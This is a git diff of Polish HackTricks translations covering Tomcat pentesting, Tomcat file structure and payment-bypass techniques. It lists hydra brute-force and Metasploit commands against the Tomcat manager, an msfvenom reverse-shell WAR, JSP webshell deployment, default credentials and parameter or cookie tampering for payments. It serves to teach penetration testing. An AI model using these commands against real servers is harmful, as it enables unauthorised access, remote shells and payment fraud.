<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Odkrywanie
|
||||
|
||||
* Zazwyczaj działa na porcie **8080**
|
||||
* Zazwyczaj działa na **porcie 8080**
|
||||
* **Powszechny błąd Tomcat:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -29,11 +29,11 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
|||
```
|
||||
### **Lokalizacja plików menedżera**
|
||||
|
||||
Zidentyfikowanie dokładnych lokalizacji katalogów **`/manager`** i **`/host-manager`** jest kluczowe, ponieważ ich nazwy mogą być zmienione. Zaleca się przeprowadzenie ataku siłowego w celu zlokalizowania tych stron.
|
||||
Identyfikacja dokładnych lokalizacji katalogów **`/manager`** i **`/host-manager`** jest kluczowa, ponieważ ich nazwy mogą zostać zmienione. Zaleca się przeprowadzenie ataku siłowego w celu zlokalizowania tych stron.
|
||||
|
||||
### **Wyliczanie nazw użytkowników**
|
||||
|
||||
Dla starszych wersji Tomcata niż 6, istnieje możliwość wyliczenia nazw użytkowników poprzez:
|
||||
Dla wersji Tomcat starszych niż 6, istnieje możliwość wyliczenia nazw użytkowników poprzez:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
|
@ -52,7 +52,7 @@ Te dane uwierzytelniające można przetestować za pomocą:
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Kolejnym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, ułatwiając identyfikację podatności.
|
||||
Innym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, ułatwiając identyfikację podatności.
|
||||
|
||||
### **Atak siłowy**
|
||||
|
||||
|
@ -60,9 +60,9 @@ Aby przeprowadzić atak siłowy na katalog managera, można użyć:
|
|||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
## Wspólne podatności
|
||||
## Powszechne podatności
|
||||
|
||||
### **Ujawnienie śladu hasła**
|
||||
### **Ujawnienie śladów hasła**
|
||||
|
||||
Dostęp do `/auth.jsp` może ujawnić hasło w śladzie w szczęśliwych okolicznościach.
|
||||
|
||||
|
@ -74,7 +74,7 @@ Aby uzyskać dostęp do interfejsu webowego zarządzania Tomcat, przejdź do: `p
|
|||
|
||||
### /examples
|
||||
|
||||
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty podatne na ujawnianie informacji oraz ataki typu cross-site scripting (XSS). Te skrypty, wymienione wyczerpująco, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnej eksploatacji. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są podatne na ujawnianie informacji oraz ataki typu cross-site scripting (XSS). Te skrypty, wymienione wyczerpująco, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnej eksploatacji. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -101,7 +101,7 @@ Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty podatne na uj
|
|||
|
||||
### **Eksploatacja przekraczania ścieżki**
|
||||
|
||||
W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) można uzyskać dostęp do chronionych katalogów w Tomcat za pomocą ścieżki: `/..;/`
|
||||
W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) można uzyskać dostęp do chronionych katalogów w Tomcat, używając ścieżki: `/..;/`
|
||||
|
||||
Na przykład, można **uzyskać dostęp do strony zarządzania Tomcat** poprzez dostęp do: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
|
@ -113,7 +113,7 @@ Wreszcie, jeśli masz dostęp do Menedżera Aplikacji Webowej Tomcat, możesz **
|
|||
|
||||
### Ograniczenia
|
||||
|
||||
Będziesz mógł wdrożyć plik WAR tylko jeśli masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Szczegóły te można znaleźć w pliku _tomcat-users.xml_ zwykle zdefiniowanym w `/usr/share/tomcat9/etc/tomcat-users.xml` (różni się w zależności od wersji) (patrz [POST](tomcat.md#post) sekcja).
|
||||
Będziesz mógł wdrożyć plik WAR tylko jeśli masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Szczegóły te można znaleźć w pliku _tomcat-users.xml_, zazwyczaj zdefiniowanym w `/usr/share/tomcat9/etc/tomcat-users.xml` (różni się w zależności od wersji) (patrz [POST](tomcat.md#post) sekcja).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -132,7 +132,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||
```
|
||||
### Odwrócony shell MSFVenom
|
||||
### Odwrócony Shell MSFVenom
|
||||
|
||||
1. Utwórz plik war do wdrożenia:
|
||||
```bash
|
||||
|
@ -140,7 +140,7 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
|
|||
```
|
||||
2. Prześlij plik `revshell.war` i uzyskaj do niego dostęp (`/revshell/`):
|
||||
|
||||
### Powiąż i odwróć powłokę za pomocą [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
### Powiąż i odwróć powłokę z [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
W niektórych scenariuszach to nie działa (na przykład w starych wersjach sun)
|
||||
|
||||
|
@ -193,8 +193,6 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
Możesz również zainstalować to (umożliwia przesyłanie, pobieranie i wykonanie poleceń): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### Metoda ręczna 2
|
||||
|
||||
Pobierz powłokę sieciową JSP, taką jak [ta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i utwórz plik WAR:
|
||||
|
@ -219,23 +217,19 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
## Referencje
|
||||
## Odnośniki
|
||||
|
||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
<img src="../../.gitbook/assets/image (675).png" alt="" data-size="original">
|
||||
|
||||
Odkrywaj najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub grupy [**telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,22 @@
|
|||
# Podstawowe informacje o Tomcat
|
||||
# Podstawowe informacje o Tomcacie
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć reklamę swojej **firmy na HackTricks**? lub chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### Unikaj uruchamiania jako root
|
||||
|
||||
Aby nie uruchamiać Tomcat jako root, bardzo częstą konfiguracją jest ustawienie serwera Apache na porcie 80/443 i jeśli żądany ścieżka pasuje do wyrażenia regularnego, żądanie jest przesyłane do Tomcat działającego na innym porcie.
|
||||
Aby nie uruchamiać Tomcata jako root, bardzo częstą konfiguracją jest ustawienie serwera Apache na porcie 80/443 i, jeśli żądana ścieżka pasuje do wyrażenia regularnego, żądanie jest przesyłane do Tomcata działającego na innym porcie.
|
||||
|
||||
### Domyślna struktura
|
||||
### Struktura domyślna
|
||||
```
|
||||
├── bin
|
||||
├── conf
|
||||
|
@ -49,12 +41,12 @@ Aby nie uruchamiać Tomcat jako root, bardzo częstą konfiguracją jest ustawie
|
|||
└── Catalina
|
||||
└── localhost
|
||||
```
|
||||
* Foldera `bin` przechowuje skrypty i pliki binarne potrzebne do uruchomienia i działania serwera Tomcat.
|
||||
* Folder `bin` przechowuje skrypty i pliki binarne potrzebne do uruchomienia serwera Tomcat.
|
||||
* Folder `conf` przechowuje różne pliki konfiguracyjne używane przez Tomcat.
|
||||
* Plik `tomcat-users.xml` przechowuje dane uwierzytelniające użytkowników i przypisane im role.
|
||||
* Folder `lib` zawiera różne pliki JAR potrzebne do poprawnego działania Tomcat.
|
||||
* Plik `tomcat-users.xml` przechowuje dane uwierzytelniające użytkowników i ich przypisane role.
|
||||
* Folder `lib` przechowuje różne pliki JAR potrzebne do poprawnego działania Tomcat.
|
||||
* Foldery `logs` i `temp` przechowują tymczasowe pliki dziennika.
|
||||
* Folder `webapps` jest domyślnym katalogiem głównym Tomcat i zawiera wszystkie aplikacje. Folder `work` działa jako pamięć podręczna i służy do przechowywania danych w trakcie działania.
|
||||
* Folder `webapps` jest domyślnym katalogiem głównym Tomcat i zawiera wszystkie aplikacje. Folder `work` działa jako pamięć podręczna i służy do przechowywania danych podczas działania.
|
||||
|
||||
Oczekuje się, że każdy folder wewnątrz `webapps` będzie miał następującą strukturę.
|
||||
```
|
||||
|
@ -74,7 +66,7 @@ webapps/customapp
|
|||
└── AdminServlet.class
|
||||
```
|
||||
Najważniejszym plikiem spośród nich jest `WEB-INF/web.xml`, który jest znany jako deskryptor wdrożenia. Ten plik przechowuje **informacje o trasach** używanych przez aplikację oraz klasy obsługujące te trasy.\
|
||||
Wszystkie skompilowane klasy używane przez aplikację powinny być przechowywane w folderze `WEB-INF/classes`. Te klasy mogą zawierać ważną logikę biznesową oraz wrażliwe informacje. Jakakolwiek podatność w tych plikach może prowadzić do całkowitego skompromitowania strony internetowej. Folder `lib` przechowuje biblioteki potrzebne dla danej aplikacji. Folder `jsp` przechowuje [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), wcześniej znane jako `JavaServer Pages`, które można porównać do plików PHP na serwerze Apache.
|
||||
Wszystkie skompilowane klasy używane przez aplikację powinny być przechowywane w folderze `WEB-INF/classes`. Te klasy mogą zawierać ważną logikę biznesową oraz poufne informacje. Każda podatność w tych plikach może prowadzić do całkowitego skompromitowania strony internetowej. Folder `lib` przechowuje biblioteki potrzebne dla danej aplikacji. Folder `jsp` przechowuje [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), wcześniej znane jako `JavaServer Pages`, które można porównać do plików PHP na serwerze Apache.
|
||||
|
||||
Oto przykładowy plik **web.xml**.
|
||||
```xml
|
||||
|
@ -94,15 +86,15 @@ Oto przykładowy plik **web.xml**.
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
Plik konfiguracyjny `web.xml` powyżej definiuje **nowy servlet o nazwie `AdminServlet`**, który jest mapowany do **klasy `com.inlanefreight.api.AdminServlet`**. W Javie używa się notacji kropkowej do tworzenia nazw pakietów, co oznacza, że ścieżka na dysku dla powyższej klasy będzie:
|
||||
Konfiguracja `web.xml` powyżej definiuje **nowy serwlet o nazwie `AdminServlet`**, który jest odwzorowany na **klasę `com.inlanefreight.api.AdminServlet`**. Java używa notacji kropkowej do tworzenia nazw pakietów, co oznacza, że ścieżka na dysku dla powyższej klasy będzie:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
Następnie tworzony jest nowy mapowanie servletu, aby **mapować żądania na `/admin` z `AdminServlet`**. Ta konfiguracja przekieruje każde żądanie otrzymane dla **`/admin` do klasy `AdminServlet.class`** w celu przetworzenia. Deskryptor **`web.xml`** zawiera wiele **wrażliwych informacji** i jest ważnym plikiem do sprawdzenia podczas wykorzystywania podatności na **Local File Inclusion (LFI)**.
|
||||
Następnie tworzony jest nowy odwzorowanie serwletu, aby **odwzorować żądania na `/admin` z `AdminServlet`**. Ta konfiguracja przekieruje każde żądanie otrzymane dla **`/admin` do klasy `AdminServlet.class`** w celu przetworzenia. Deskryptor **`web.xml`** zawiera wiele **wrażliwych informacji** i jest ważnym plikiem do sprawdzenia podczas wykorzystywania podatności na **Lokalne Włączenie Pliku (LFI)**.
|
||||
|
||||
### tomcat-users
|
||||
|
||||
Plik **`tomcat-users.xml`** jest używany do **zezwolenia** lub zabronienia dostępu do stron administracyjnych **`/manager` i `host-manager`**.
|
||||
Plik **`tomcat-users.xml`** jest używany do **zezwolenia** lub zabrania dostępu do stron administracyjnych **`/manager` i `host-manager`**.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -143,27 +135,20 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
Plik pokazuje, do czego daje dostęp każda z ról `manager-gui`, `manager-script`, `manager-jmx` i `manager-status`. W tym przykładzie możemy zobaczyć, że użytkownik `tomcat` o haśle `tomcat` ma rolę `manager-gui`, a drugie słabe hasło `admin` jest ustawione dla konta użytkownika `admin`.
|
||||
Plik pokazuje, do czego dostęp zapewniają role `manager-gui`, `manager-script`, `manager-jmx` i `manager-status`. W tym przykładzie widzimy, że użytkownik `tomcat` z hasłem `tomcat` ma rolę `manager-gui`, a drugie słabe hasło `admin` jest ustawione dla konta użytkownika `admin`.
|
||||
|
||||
## Odnośniki
|
||||
## Referencje
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,76 +1,46 @@
|
|||
# Ominięcie procesu płatności
|
||||
# Pomijanie Procesu Płatności
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy we wszystkich warstwach technologicznych, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
## Techniki Pomijania Płatności
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Techniki ominięcia płatności
|
||||
|
||||
### Przechwytywanie żądań
|
||||
Podczas procesu transakcji ważne jest monitorowanie danych wymienianych między klientem a serwerem. Można to zrobić, przechwytując wszystkie żądania. W tych żądaniach należy zwrócić uwagę na parametry o istotnym znaczeniu, takie jak:
|
||||
### Przechwytywanie Żądań
|
||||
Podczas procesu transakcji istotne jest monitorowanie danych wymienianych między klientem a serwerem. Można to zrobić poprzez przechwytywanie wszystkich żądań. W tych żądaniach zwróć uwagę na parametry o istotnym znaczeniu, takie jak:
|
||||
|
||||
- **Success**: Ten parametr często wskazuje na status transakcji.
|
||||
- **Referrer**: Może wskazywać na źródło, z którego pochodzi żądanie.
|
||||
- **Referrer**: Może wskazywać źródło, z którego pochodzi żądanie.
|
||||
- **Callback**: Zazwyczaj używany do przekierowania użytkownika po zakończeniu transakcji.
|
||||
|
||||
### Analiza adresu URL
|
||||
Jeśli napotkasz parametr zawierający adres URL, zwłaszcza taki, który ma wzór _example.com/payment/MD5HASH_, wymaga to bliższego zbadania. Oto krok po kroku:
|
||||
### Analiza URL
|
||||
Jeśli napotkasz parametr zawierający adres URL, zwłaszcza taki, który podąża za wzorcem _example.com/payment/MD5HASH_, wymaga to bliższej analizy. Oto krok po kroku:
|
||||
|
||||
1. **Skopiuj adres URL**: Wyodrębnij adres URL z wartości parametru.
|
||||
2. **Inspekcja w nowym oknie**: Otwórz skopiowany adres URL w nowym oknie przeglądarki. Ta czynność jest kluczowa dla zrozumienia wyniku transakcji.
|
||||
1. **Skopiuj URL**: Wyodrębnij adres URL z wartości parametru.
|
||||
2. **Inspekcja w Nowym Oknie**: Otwórz skopiowany adres URL w nowym oknie przeglądarki. Ta czynność jest kluczowa dla zrozumienia rezultatu transakcji.
|
||||
|
||||
### Manipulacja parametrami
|
||||
1. **Zmień wartości parametrów**: Przeprowadź eksperymenty, zmieniając wartości parametrów, takich jak _Success_, _Referrer_ lub _Callback_. Na przykład zmiana parametru z `false` na `true` czasami może ujawnić, jak system obsługuje te dane wejściowe.
|
||||
2. **Usuń parametry**: Spróbuj całkowicie usunąć pewne parametry, aby zobaczyć, jak system reaguje. Niektóre systemy mogą mieć fallbacki lub domyślne zachowania, gdy brakuje oczekiwanych parametrów.
|
||||
### Manipulacja Parametrami
|
||||
1. **Zmień Wartości Parametrów**: Eksperymentuj, zmieniając wartości parametrów, takich jak _Success_, _Referrer_ lub _Callback_. Na przykład zmiana parametru z `false` na `true` czasami ujawnia, w jaki sposób system obsługuje te dane wejściowe.
|
||||
2. **Usuń Parametry**: Spróbuj usunąć pewne parametry całkowicie, aby zobaczyć, jak system reaguje. Niektóre systemy mogą mieć fallbacki lub domyślne zachowania, gdy oczekiwane parametry są pominięte.
|
||||
|
||||
### Modyfikacja plików cookie
|
||||
1. **Sprawdź pliki cookie**: Wiele stron internetowych przechowuje istotne informacje w plikach cookie. Sprawdź te pliki cookie pod kątem danych dotyczących statusu płatności lub uwierzytelnienia użytkownika.
|
||||
2. **Zmodyfikuj wartości plików cookie**: Zmień wartości przechowywane w plikach cookie i obserwuj, jak zmienia się odpowiedź lub zachowanie strony internetowej.
|
||||
### Modyfikacja Ciasteczek
|
||||
1. **Zbadaj Ciasteczka**: Wiele stron internetowych przechowuje istotne informacje w ciasteczkach. Sprawdź te ciasteczka pod kątem danych dotyczących statusu płatności lub uwierzytelnienia użytkownika.
|
||||
2. **Zmodyfikuj Wartości Ciasteczek**: Zmodyfikuj wartości przechowywane w ciasteczkach i obserwuj, jak zmienia się odpowiedź strony internetowej lub jej zachowanie.
|
||||
|
||||
### Przechwycenie sesji
